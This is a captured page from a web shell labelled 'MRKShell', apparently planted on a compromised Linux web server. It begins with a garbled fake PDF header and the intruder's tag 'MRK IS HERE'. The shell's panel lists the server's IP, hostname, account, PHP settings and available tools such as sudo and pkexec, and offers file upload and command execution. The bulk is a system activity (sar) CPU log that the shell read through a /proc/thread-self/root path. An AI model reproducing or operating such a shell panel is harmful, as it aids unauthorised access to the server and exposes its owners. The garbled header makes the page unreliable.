...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/var/log/sa/sar15
Linux 4.18.0-553.123.1.el8_10.x86_64 (srv16.asso.com.ar) 	2026-06-15 	_x86_64_	(16 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all     10.84      0.06      3.37      4.92      0.00      0.18      0.09      0.00      0.00     80.53
00:10:00          0     11.33      0.00      3.97      5.19      0.00      0.22      0.29      0.00      0.00     79.00
00:10:00          1     10.51      0.19      3.04      4.88      0.00      0.16      0.16      0.00      0.00     81.05
00:10:00          2      9.91      0.04      2.25      3.30      0.00      0.13      0.06      0.00      0.00     84.31
00:10:00          3     11.66      0.00      3.77      6.08      0.00      0.21      0.10      0.00      0.00     78.18
00:10:00          4     12.30      0.00      3.62      6.24      0.00      0.19      0.05      0.00      0.00     77.60
00:10:00          5     10.76      0.00      3.77      5.22      0.00      0.19      0.05      0.00      0.00     80.01
00:10:00          6      9.27      0.00      2.19      3.44      0.00      0.13      0.05      0.00      0.00     84.93
00:10:00          7      9.99      0.04      4.06      6.07      0.00      0.23      0.04      0.00      0.00     79.57
00:10:00          8     10.47      0.06      3.45      5.62      0.00      0.19      0.20      0.00      0.00     80.01
00:10:00          9     10.42      0.05      3.32      5.34      0.00      0.18      0.06      0.00      0.00     80.64
00:10:00         10     13.50      0.15      3.23      4.11      0.00      0.18      0.05      0.00      0.00     78.79
00:10:00         11     12.00      0.00      4.66      5.04      0.00      0.24      0.05      0.00      0.00     78.01
00:10:00         12      9.72      0.00      2.53      3.37      0.00      0.14      0.04      0.00      0.00     84.20
00:10:00         13      9.86      0.19      3.43      4.19      0.00      0.17      0.04      0.00      0.00     82.11
00:10:00         14     10.04      0.28      3.24      6.31      0.00      0.18      0.13      0.00      0.00     79.82
00:10:00         15     11.77      0.02      3.45      4.29      0.00      0.19      0.11      0.00      0.00     80.17
00:20:00        all     11.00      0.06      3.13      5.34      0.00      0.17      0.08      0.00      0.00     80.21
00:20:00          0     13.00      0.01      4.38      6.07      0.00      0.25      0.26      0.00      0.00     76.04
00:20:00          1      9.79      0.09      2.80      6.22      0.00      0.17      0.07      0.00      0.00     80.86
00:20:00          2     10.53      0.09      2.23      3.01      0.00      0.12      0.05      0.00      0.00     83.96
00:20:00          3      9.87      0.00      3.17      3.91      0.00      0.18      0.05      0.00      0.00     82.82
00:20:00          4     12.91      0.08      4.08      6.91      0.00      0.22      0.06      0.00      0.00     75.74
00:20:00          5     10.92      0.11      3.36      5.81      0.00      0.19      0.05      0.00      0.00     79.57
00:20:00          6      9.39      0.06      2.55      6.38      0.00      0.15      0.05      0.00      0.00     81.43
00:20:00          7     10.55      0.04      3.24      4.94      0.00      0.17      0.11      0.00      0.00     80.94
00:20:00          8     11.07      0.00      3.68      6.77      0.00      0.21      0.09      0.00      0.00     78.18
00:20:00          9     10.68      0.05      3.26      4.63      0.00      0.19      0.09      0.00      0.00     81.10
00:20:00         10     11.55      0.01      2.43      3.95      0.00      0.15      0.13      0.00      0.00     81.80
00:20:00         11     11.20      0.03      2.72      4.10      0.00      0.16      0.05      0.00      0.00     81.75
00:20:00         12     10.73      0.00      2.61      5.29      0.00      0.13      0.05      0.00      0.00     81.19
00:20:00         13     11.11      0.01      2.59      5.27      0.00      0.14      0.04      0.00      0.00     80.85
00:20:00         14     11.97      0.21      3.22      5.56      0.00      0.16      0.17      0.00      0.00     78.71
00:20:00         15     10.80      0.22      3.76      6.63      0.00      0.21      0.05      0.00      0.00     78.35
00:30:00        all     13.99      0.05      3.50      6.11      0.00      0.19      0.10      0.00      0.00     76.05
00:30:00          0     16.22      0.00      3.70      5.77      0.00      0.20      0.32      0.00      0.00     73.78
00:30:00          1     12.95      0.00      3.01      5.08      0.00      0.17      0.10      0.00      0.00     78.69
00:30:00          2     12.37      0.00      3.15      5.33      0.00      0.17      0.11      0.00      0.00     78.87
00:30:00          3     12.51      0.04      2.86      6.01      0.00      0.16      0.06      0.00      0.00     78.37
00:30:00          4     15.65      0.09      4.33      7.48      0.00      0.24      0.06      0.00      0.00     72.14
00:30:00          5     12.55      0.02      3.94      7.34      0.00      0.21      0.06      0.00      0.00     75.88
00:30:00          6     11.75      0.09      2.45      4.42      0.00      0.15      0.05      0.00      0.00     81.08
00:30:00          7     13.45      0.21      3.11      4.59      0.00      0.16      0.13      0.00      0.00     78.35
00:30:00          8     14.98      0.00      3.31      8.75      0.00      0.18      0.06      0.00      0.00     72.73
00:30:00          9     14.85      0.07      4.53      8.09      0.00      0.24      0.06      0.00      0.00     72.17
00:30:00         10     15.29      0.00      3.36      6.50      0.00      0.18      0.18      0.00      0.00     74.49
00:30:00         11     15.02      0.06      3.15      4.74      0.00      0.17      0.05      0.00      0.00     76.81
00:30:00         12     13.69      0.06      4.74      7.39      0.00      0.26      0.06      0.00      0.00     73.80
00:30:00         13     13.21      0.14      3.18      4.51      0.00      0.17      0.05      0.00      0.00     78.74
00:30:00         14     15.59      0.04      3.29      6.40      0.00      0.18      0.20      0.00      0.00     74.29
00:30:00         15     13.82      0.03      3.94      5.28      0.00      0.22      0.06      0.00      0.00     76.66
00:40:00        all     13.73      0.07      3.53      6.27      0.00      0.20      0.10      0.00      0.00     76.11
00:40:00          0     15.44      0.11      3.45      4.50      0.00      0.21      0.31      0.00      0.00     75.98
00:40:00          1     13.35      0.12      3.47      7.23      0.00      0.19      0.09      0.00      0.00     75.55
00:40:00          2     12.82      0.03      2.62      5.11      0.00      0.15      0.17      0.00      0.00     79.11
00:40:00          3     12.75      0.11      2.81      5.43      0.00      0.16      0.07      0.00      0.00     78.67
00:40:00          4     15.87      0.01      5.86      8.03      0.00      0.31      0.07      0.00      0.00     69.85
00:40:00          5     12.75      0.11      3.97      7.86      0.00      0.23      0.05      0.00      0.00     75.02
00:40:00          6     11.85      0.00      2.37      5.11      0.00      0.15      0.05      0.00      0.00     80.46
00:40:00          7     13.66      0.08      3.44      6.78      0.00      0.19      0.06      0.00      0.00     75.79
00:40:00          8     15.45      0.05      3.31      5.47      0.00      0.19      0.05      0.00      0.00     75.48
00:40:00          9     13.64      0.16      3.02      5.79      0.00      0.17      0.05      0.00      0.00     77.16
00:40:00         10     14.15      0.00      2.58      4.28      0.00      0.15      0.20      0.00      0.00     78.65
00:40:00         11     14.21      0.00      3.62      5.28      0.00      0.20      0.06      0.00      0.00     76.64
00:40:00         12     12.71      0.00      4.97      8.42      0.00      0.27      0.06      0.00      0.00     73.58
00:40:00         13     12.03      0.04      4.25      9.24      0.00      0.24      0.05      0.00      0.00     74.15
00:40:00         14     15.18      0.04      3.42      5.82      0.00      0.19      0.20      0.00      0.00     75.16
00:40:00         15     13.77      0.23      3.32      5.95      0.00      0.19      0.06      0.00      0.00     76.49
00:50:00        all     11.15      0.05      3.37      5.35      0.00      0.19      0.09      0.00      0.00     79.80
00:50:00          0     12.39      0.00      3.18      4.85      0.00      0.18      0.27      0.00      0.00     79.13
00:50:00          1     10.90      0.00      2.52      5.19      0.00      0.14      0.12      0.00      0.00     81.12
00:50:00          2     11.28      0.03      2.31      3.66      0.00      0.14      0.05      0.00      0.00     82.53
00:50:00          3     11.40      0.01      3.14      5.10      0.00      0.19      0.15      0.00      0.00     80.01
00:50:00          4     12.20      0.03      5.77      8.63      0.00      0.31      0.06      0.00      0.00     73.00
00:50:00          5     11.15      0.00      3.48      5.81      0.00      0.20      0.05      0.00      0.00     79.32
00:50:00          6      9.66      0.00      2.43      3.85      0.00      0.14      0.05      0.00      0.00     83.87
00:50:00          7     11.05      0.06      2.38      4.00      0.00      0.13      0.05      0.00      0.00     82.33
00:50:00          8     10.89      0.41      3.98      6.73      0.00      0.23      0.05      0.00      0.00     77.70
00:50:00          9     11.06      0.14      3.12      4.15      0.00      0.18      0.05      0.00      0.00     81.31
00:50:00         10     12.06      0.02      3.90      4.51      0.00      0.20      0.16      0.00      0.00     79.14
00:50:00         11     11.33      0.00      2.98      4.25      0.00      0.16      0.04      0.00      0.00     81.23
00:50:00         12     10.82      0.00      3.01      5.02      0.00      0.15      0.04      0.00      0.00     80.95
00:50:00         13     10.32      0.00      4.30      8.28      0.00      0.24      0.05      0.00      0.00     76.80
00:50:00         14     11.19      0.00      3.87      6.66      0.00      0.21      0.12      0.00      0.00     77.94
00:50:00         15     10.76      0.10      3.57      4.85      0.00      0.19      0.05      0.00      0.00     80.48
01:00:00        all     10.80      0.04      3.55      5.04      0.00      0.19      0.08      0.00      0.00     80.29
01:00:00          0     11.10      0.03      3.91      4.82      0.00      0.22      0.25      0.00      0.00     79.67
01:00:00          1     10.79      0.01      2.64      5.34      0.00      0.15      0.19      0.00      0.00     80.88
01:00:00          2     10.85      0.07      4.77      6.89      0.00      0.26      0.05      0.00      0.00     77.11
01:00:00          3     11.05      0.06      3.13      4.47      0.00      0.16      0.11      0.00      0.00     81.02
01:00:00          4     12.04      0.00      6.44      8.01      0.00      0.34      0.06      0.00      0.00     73.11
01:00:00          5     11.46      0.02      4.44      7.35      0.00      0.24      0.05      0.00      0.00     76.45
01:00:00          6      9.38      0.03      2.59      3.32      0.00      0.15      0.04      0.00      0.00     84.48
01:00:00          7      9.89      0.02      2.92      3.84      0.00      0.16      0.05      0.00      0.00     83.13
01:00:00          8     11.44      0.00      2.81      3.12      0.00      0.14      0.05      0.00      0.00     82.45
01:00:00          9     10.59      0.06      4.03      6.03      0.00      0.23      0.16      0.00      0.00     78.91
01:00:00         10     11.12      0.15      4.24      5.44      0.00      0.23      0.12      0.00      0.00     78.70
01:00:00         11     11.32      0.10      3.57      5.25      0.00      0.20      0.05      0.00      0.00     79.52
01:00:00         12     11.00      0.00      2.00      3.35      0.00      0.11      0.04      0.00      0.00     83.50
01:00:00         13      9.54      0.04      2.89      4.80      0.00      0.16      0.04      0.00      0.00     82.53
01:00:00         14     10.90      0.04      3.35      4.96      0.00      0.18      0.05      0.00      0.00     80.53
01:00:00         15     10.39      0.12      3.03      3.66      0.00      0.16      0.05      0.00      0.00     82.60
01:10:00        all     15.83      0.06      3.88      4.73      0.00      0.21      0.10      0.00      0.00     75.19
01:10:00          0     16.79      0.03      3.38      3.26      0.00      0.19      0.19      0.00      0.00     76.17
01:10:00          1     14.50      0.01      3.50      3.55      0.00      0.20      0.20      0.00      0.00     78.04
01:10:00          2     15.55      0.06      3.25      3.86      0.00      0.17      0.16      0.00      0.00     76.95
01:10:00          3     14.72      0.00      2.53      4.59      0.00      0.14      0.09      0.00      0.00     77.93
01:10:00          4     16.82      0.00      6.32      8.25      0.00      0.35      0.07      0.00      0.00     68.19
01:10:00          5     15.72      0.08      5.55      7.37      0.00      0.31      0.06      0.00      0.00     70.90
01:10:00          6     13.36      0.09      3.85      4.67      0.00      0.22      0.06      0.00      0.00     77.75
01:10:00          7     15.36      0.10      3.57      5.05      0.00      0.21      0.06      0.00      0.00     75.65
01:10:00          8     17.68      0.08      3.17      3.53      0.00      0.17      0.06      0.00      0.00     75.31
01:10:00          9     17.08      0.44      3.21      3.09      0.00      0.17      0.19      0.00      0.00     75.82
01:10:00         10     16.07      0.00      2.92      2.78      0.00      0.17      0.19      0.00      0.00     77.87
01:10:00         11     16.94      0.00      3.24      2.02      0.00      0.17      0.08      0.00      0.00     77.55
01:10:00         12     15.34      0.09      4.79      7.21      0.00      0.27      0.06      0.00      0.00     72.24
01:10:00         13     14.88      0.00      4.00      6.23      0.00      0.23      0.06      0.00      0.00     74.60
01:10:00         14     17.77      0.00      4.89      4.99      0.00      0.25      0.06      0.00      0.00     72.04
01:10:00         15     14.66      0.00      3.87      5.22      0.00      0.21      0.06      0.00      0.00     75.99
01:20:00        all     10.56      0.05      3.19      5.73      0.00      0.18      0.09      0.00      0.00     80.21
01:20:00          0     11.63      0.05      4.21      5.46      0.00      0.24      0.14      0.00      0.00     78.27
01:20:00          1     10.11      0.02      2.85      7.01      0.00      0.16      0.07      0.00      0.00     79.78
01:20:00          2      9.96      0.08      2.74      5.47      0.00      0.15      0.19      0.00      0.00     81.41
01:20:00          3     10.39      0.15      2.71      6.07      0.00      0.16      0.05      0.00      0.00     80.48
01:20:00          4     11.83      0.08      3.59      6.52      0.00      0.21      0.06      0.00      0.00     77.71
01:20:00          5     10.62      0.02      3.38      6.95      0.00      0.20      0.08      0.00      0.00     78.76
01:20:00          6      9.32      0.00      2.99      5.72      0.00      0.18      0.05      0.00      0.00     81.73
01:20:00          7      9.91      0.01      2.57      4.23      0.00      0.15      0.15      0.00      0.00     82.98
01:20:00          8     10.85      0.06      3.45      7.38      0.00      0.20      0.05      0.00      0.00     78.01
01:20:00          9      9.44      0.05      2.28      3.00      0.00      0.12      0.07      0.00      0.00     85.04
01:20:00         10     12.30      0.15      3.02      4.88      0.00      0.18      0.17      0.00      0.00     79.30
01:20:00         11     10.25      0.00      3.23      5.14      0.00      0.19      0.07      0.00      0.00     81.13
01:20:00         12     10.80      0.02      2.68      3.95      0.00      0.16      0.04      0.00      0.00     82.34
01:20:00         13      9.91      0.05      3.47      5.94      0.00      0.19      0.05      0.00      0.00     80.39
01:20:00         14     10.83      0.03      5.10      9.19      0.00      0.29      0.05      0.00      0.00     74.52
01:20:00         15     10.77      0.00      2.69      4.78      0.00      0.16      0.13      0.00      0.00     81.47
01:30:00        all     12.86      0.05      3.64      5.75      0.00      0.20      0.10      0.00      0.00     77.40
01:30:00          0     14.96      0.00      3.80      5.42      0.00      0.21      0.18      0.00      0.00     75.43
01:30:00          1     12.55      0.05      3.88      6.62      0.00      0.22      0.12      0.00      0.00     76.57
01:30:00          2     12.43      0.00      3.38      6.06      0.00      0.19      0.07      0.00      0.00     77.88
01:30:00          3     12.05      0.01      2.71      4.61      0.00      0.16      0.09      0.00      0.00     80.38
01:30:00          4     14.32      0.04      4.87      6.17      0.00      0.25      0.06      0.00      0.00     74.28
01:30:00          5     12.36      0.06      3.77      6.20      0.00      0.21      0.15      0.00      0.00     77.25
01:30:00          6     11.04      0.00      2.85      3.21      0.00      0.16      0.05      0.00      0.00     82.68
01:30:00          7     11.96      0.00      3.58      5.97      0.00      0.21      0.09      0.00      0.00     78.20
01:30:00          8     12.74      0.04      2.96      4.98      0.00      0.16      0.06      0.00      0.00     79.06
01:30:00          9     12.50      0.00      4.13      5.19      0.00      0.23      0.05      0.00      0.00     77.91
01:30:00         10     12.86      0.00      3.56      7.88      0.00      0.20      0.18      0.00      0.00     75.32
01:30:00         11     14.35      0.02      3.67      5.64      0.00      0.20      0.16      0.00      0.00     75.97
01:30:00         12     12.99      0.18      4.22      6.12      0.00      0.25      0.05      0.00      0.00     76.19
01:30:00         13     11.90      0.00      3.85      6.18      0.00      0.22      0.08      0.00      0.00     77.77
01:30:00         14     14.95      0.04      3.69      6.66      0.00      0.21      0.08      0.00      0.00     74.38
01:30:00         15     11.88      0.32      3.33      5.09      0.00      0.19      0.08      0.00      0.00     79.11
01:40:00        all     13.21      0.06      3.71      5.67      0.00      0.20      0.10      0.00      0.00     77.05
01:40:00          0     14.87      0.00      4.11      5.64      0.00      0.22      0.19      0.00      0.00     74.96
01:40:00          1     12.15      0.08      3.13      5.56      0.00      0.18      0.12      0.00      0.00     78.77
01:40:00          2     12.44      0.00      3.05      4.69      0.00      0.17      0.11      0.00      0.00     79.54
01:40:00          3     12.30      0.01      3.27      5.69      0.00      0.18      0.20      0.00      0.00     78.36
01:40:00          4     15.11      0.14      5.15      5.74      0.00      0.28      0.06      0.00      0.00     73.52
01:40:00          5     12.96      0.06      4.68      8.06      0.00      0.25      0.06      0.00      0.00     73.93
01:40:00          6     11.69      0.11      2.74      4.72      0.00      0.16      0.06      0.00      0.00     80.52
01:40:00          7     11.80      0.20      3.35      6.11      0.00      0.19      0.05      0.00      0.00     78.30
01:40:00          8     14.55      0.01      5.04      8.07      0.00      0.29      0.06      0.00      0.00     71.98
01:40:00          9     12.33      0.03      3.49      5.37      0.00      0.19      0.05      0.00      0.00     78.54
01:40:00         10     13.80      0.03      3.14      4.49      0.00      0.17      0.16      0.00      0.00     78.20
01:40:00         11     15.06      0.00      3.20      3.65      0.00      0.16      0.05      0.00      0.00     77.88
01:40:00         12     13.29      0.03      3.30      4.43      0.00      0.18      0.06      0.00      0.00     78.73
01:40:00         13     12.31      0.00      3.57      5.69      0.00      0.19      0.05      0.00      0.00     78.18
01:40:00         14     13.53      0.23      4.68      8.23      0.00      0.26      0.13      0.00      0.00     72.94
01:40:00         15     13.21      0.00      3.38      4.64      0.00      0.20      0.19      0.00      0.00     78.39
01:50:00        all     13.30      0.04      3.46      5.15      0.00      0.19      0.09      0.00      0.00     77.76
01:50:00          0     15.37      0.07      3.55      4.31      0.00      0.20      0.19      0.00      0.00     76.32
01:50:00          1     12.30      0.00      3.25      4.78      0.00      0.18      0.09      0.00      0.00     79.40
01:50:00          2     12.54      0.03      3.15      4.97      0.00      0.19      0.09      0.00      0.00     79.05
01:50:00          3     12.65      0.18      3.07      4.72      0.00      0.17      0.18      0.00      0.00     79.03
01:50:00          4     16.29      0.03      4.58      5.76      0.00      0.25      0.06      0.00      0.00     73.03
01:50:00          5     12.92      0.00      3.43      5.73      0.00      0.19      0.05      0.00      0.00     77.68
01:50:00          6     11.28      0.00      2.92      4.11      0.00      0.18      0.15      0.00      0.00     81.36
01:50:00          7     13.62      0.00      3.29      3.93      0.00      0.18      0.11      0.00      0.00     78.87
01:50:00          8     14.70      0.00      3.62      5.28      0.00      0.21      0.05      0.00      0.00     76.14
01:50:00          9     13.94      0.07      3.58      5.28      0.00      0.19      0.06      0.00      0.00     76.88
01:50:00         10     12.15      0.00      3.48      6.22      0.00      0.20      0.11      0.00      0.00     77.84
01:50:00         11     13.46      0.17      2.82      4.34      0.00      0.17      0.14      0.00      0.00     78.92
01:50:00         12     13.18      0.00      3.62      7.13      0.00      0.20      0.06      0.00      0.00     75.81
01:50:00         13     12.58      0.00      3.88      4.54      0.00      0.21      0.05      0.00      0.00     78.74
01:50:00         14     13.16      0.09      3.85      6.09      0.00      0.21      0.05      0.00      0.00     76.55
01:50:00         15     12.74      0.06      3.18      5.17      0.00      0.18      0.09      0.00      0.00     78.59

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     12.57      0.06      3.59      5.48      0.00      0.20      0.10      0.00      0.00     78.01
02:00:00          0     14.16      0.03      4.24      5.51      0.00      0.23      0.18      0.00      0.00     75.65
02:00:00          1     11.70      0.01      3.94      7.49      0.00      0.22      0.18      0.00      0.00     76.46
02:00:00          2     11.73      0.02      3.58      4.82      0.00      0.20      0.06      0.00      0.00     79.59
02:00:00          3     11.78      0.00      3.68      5.27      0.00      0.20      0.13      0.00      0.00     78.94
02:00:00          4     14.87      0.15      4.64      5.58      0.00      0.23      0.06      0.00      0.00     74.47
02:00:00          5     11.91      0.16      4.69      8.86      0.00      0.26      0.06      0.00      0.00     74.05
02:00:00          6     10.97      0.01      2.37      4.27      0.00      0.15      0.18      0.00      0.00     82.07
02:00:00          7     12.57      0.16      2.50      3.44      0.00      0.13      0.08      0.00      0.00     81.12
02:00:00          8     13.61      0.03      3.34      4.79      0.00      0.17      0.05      0.00      0.00     78.01
02:00:00          9     11.90      0.14      3.08      4.06      0.00      0.16      0.05      0.00      0.00     80.61
02:00:00         10     12.79      0.03      2.83      4.16      0.00      0.15      0.05      0.00      0.00     79.99
02:00:00         11     12.56      0.02      3.38      5.82      0.00      0.20      0.05      0.00      0.00     77.97
02:00:00         12     11.84      0.02      3.90      5.16      0.00      0.22      0.05      0.00      0.00     78.82
02:00:00         13     11.47      0.03      3.14      5.12      0.00      0.18      0.18      0.00      0.00     79.88
02:00:00         14     13.56      0.10      4.48      6.46      0.00      0.26      0.05      0.00      0.00     75.10
02:00:00         15     13.78      0.02      3.60      6.83      0.00      0.21      0.15      0.00      0.00     75.42
02:10:00        all     14.37      0.06      3.70      6.16      0.00      0.21      0.10      0.00      0.00     75.40
02:10:00          0     15.85      0.02      4.32      6.97      0.00      0.24      0.21      0.00      0.00     72.40
02:10:00          1     12.31      0.00      4.34      9.29      0.00      0.26      0.24      0.00      0.00     73.56
02:10:00          2     12.65      0.00      3.35      7.38      0.00      0.20      0.09      0.00      0.00     76.33
02:10:00          3     14.46      0.03      3.51      5.57      0.00      0.18      0.20      0.00      0.00     76.06
02:10:00          4     16.89      0.03      5.45      7.54      0.00      0.30      0.07      0.00      0.00     69.72
02:10:00          5     13.79      0.03      3.48      5.92      0.00      0.20      0.06      0.00      0.00     76.53
02:10:00          6     12.67      0.07      2.78      5.17      0.00      0.16      0.06      0.00      0.00     79.09
02:10:00          7     14.22      0.10      3.19      5.03      0.00      0.18      0.06      0.00      0.00     77.23
02:10:00          8     15.36      0.00      3.26      4.59      0.00      0.17      0.06      0.00      0.00     76.57
02:10:00          9     12.88      0.09      3.73      7.53      0.00      0.22      0.05      0.00      0.00     75.51
02:10:00         10     14.32      0.32      3.93      6.15      0.00      0.22      0.08      0.00      0.00     74.98
02:10:00         11     14.42      0.00      3.38      5.35      0.00      0.19      0.06      0.00      0.00     76.60
02:10:00         12     13.54      0.11      2.62      5.57      0.00      0.15      0.05      0.00      0.00     77.96
02:10:00         13     13.75      0.07      4.17      5.90      0.00      0.25      0.20      0.00      0.00     75.66
02:10:00         14     18.12      0.07      4.39      6.56      0.00      0.25      0.06      0.00      0.00     70.54
02:10:00         15     14.76      0.01      3.25      4.03      0.00      0.17      0.12      0.00      0.00     77.66
02:20:00        all     14.47      0.05      3.71      8.22      0.00      0.20      0.11      0.00      0.00     73.24
02:20:00          0     15.95      0.02      3.94      8.61      0.00      0.21      0.22      0.00      0.00     71.07
02:20:00          1     12.83      0.07      3.59      7.52      0.00      0.22      0.25      0.00      0.00     75.53
02:20:00          2     13.24      0.02      3.32      7.33      0.00      0.20      0.21      0.00      0.00     75.69
02:20:00          3     14.52      0.08      3.30      9.00      0.00      0.19      0.20      0.00      0.00     72.72
02:20:00          4     17.91      0.01      4.22      6.33      0.00      0.22      0.07      0.00      0.00     71.24
02:20:00          5     13.05      0.07      3.66      8.79      0.00      0.20      0.07      0.00      0.00     74.17
02:20:00          6     12.56      0.01      3.13      6.26      0.00      0.18      0.06      0.00      0.00     77.79
02:20:00          7     13.90      0.00      3.28      8.29      0.00      0.18      0.07      0.00      0.00     74.28
02:20:00          8     16.01      0.01      4.17      9.41      0.00      0.21      0.07      0.00      0.00     70.11
02:20:00          9     15.25      0.08      3.69      7.49      0.00      0.21      0.06      0.00      0.00     73.22
02:20:00         10     14.99      0.08      3.75      8.97      0.00      0.19      0.06      0.00      0.00     71.97
02:20:00         11     13.95      0.19      3.40      9.68      0.00      0.18      0.06      0.00      0.00     72.55
02:20:00         12     14.23      0.03      4.11      8.88      0.00      0.22      0.06      0.00      0.00     72.47
02:20:00         13     13.15      0.03      3.47      8.10      0.00      0.20      0.22      0.00      0.00     74.83
02:20:00         14     16.21      0.18      4.35      8.51      0.00      0.24      0.06      0.00      0.00     70.46
02:20:00         15     13.71      0.01      3.99      8.35      0.00      0.22      0.07      0.00      0.00     73.66
02:30:00        all     12.96      0.05      3.72      5.86      0.00      0.20      0.10      0.00      0.00     77.12
02:30:00          0     15.22      0.02      4.21      6.10      0.00      0.23      0.19      0.00      0.00     74.03
02:30:00          1     11.68      0.00      3.92      6.85      0.00      0.22      0.20      0.00      0.00     77.13
02:30:00          2     12.66      0.00      3.43      6.01      0.00      0.19      0.13      0.00      0.00     77.58
02:30:00          3     12.66      0.03      3.43      5.96      0.00      0.18      0.17      0.00      0.00     77.58
02:30:00          4     15.41      0.05      4.15      5.58      0.00      0.20      0.08      0.00      0.00     74.53
02:30:00          5     12.40      0.14      3.58      7.52      0.00      0.19      0.07      0.00      0.00     76.11
02:30:00          6     11.03      0.04      2.75      3.71      0.00      0.16      0.06      0.00      0.00     82.26
02:30:00          7     12.05      0.06      3.75      5.48      0.00      0.20      0.06      0.00      0.00     78.40
02:30:00          8     14.01      0.03      3.88      6.49      0.00      0.20      0.06      0.00      0.00     75.34
02:30:00          9     12.39      0.04      3.98      5.74      0.00      0.21      0.05      0.00      0.00     77.58
02:30:00         10     14.03      0.03      4.25      6.61      0.00      0.24      0.06      0.00      0.00     74.78
02:30:00         11     12.03      0.00      3.33      6.66      0.00      0.19      0.06      0.00      0.00     77.74
02:30:00         12     13.20      0.01      3.06      3.76      0.00      0.15      0.06      0.00      0.00     79.75
02:30:00         13     12.04      0.02      3.66      5.65      0.00      0.20      0.18      0.00      0.00     78.26
02:30:00         14     13.38      0.09      4.78      5.93      0.00      0.26      0.09      0.00      0.00     75.48
02:30:00         15     13.13      0.18      3.42      5.69      0.00      0.17      0.08      0.00      0.00     77.33
02:40:00        all     11.86      0.05      3.40      4.59      0.00      0.19      0.09      0.00      0.00     79.82
02:40:00          0     13.01      0.03      4.14      4.83      0.00      0.22      0.17      0.00      0.00     77.59
02:40:00          1     10.91      0.09      3.16      4.32      0.00      0.18      0.19      0.00      0.00     81.16
02:40:00          2     11.66      0.00      3.51      4.36      0.00      0.20      0.06      0.00      0.00     80.22
02:40:00          3     11.27      0.00      2.99      4.73      0.00      0.18      0.16      0.00      0.00     80.67
02:40:00          4     14.01      0.06      5.33      6.00      0.00      0.29      0.06      0.00      0.00     74.24
02:40:00          5     11.05      0.06      4.80      7.79      0.00      0.28      0.05      0.00      0.00     75.97
02:40:00          6     10.49      0.03      2.80      4.40      0.00      0.16      0.05      0.00      0.00     82.07
02:40:00          7     11.73      0.01      3.11      3.88      0.00      0.18      0.07      0.00      0.00     81.02
02:40:00          8     12.75      0.00      2.51      3.19      0.00      0.15      0.05      0.00      0.00     81.36
02:40:00          9     12.01      0.00      2.36      2.90      0.00      0.14      0.05      0.00      0.00     82.55
02:40:00         10     11.44      0.01      3.63      4.87      0.00      0.22      0.15      0.00      0.00     79.68
02:40:00         11     12.13      0.11      3.30      3.77      0.00      0.18      0.05      0.00      0.00     80.46
02:40:00         12     11.36      0.30      2.88      5.44      0.00      0.17      0.05      0.00      0.00     79.82
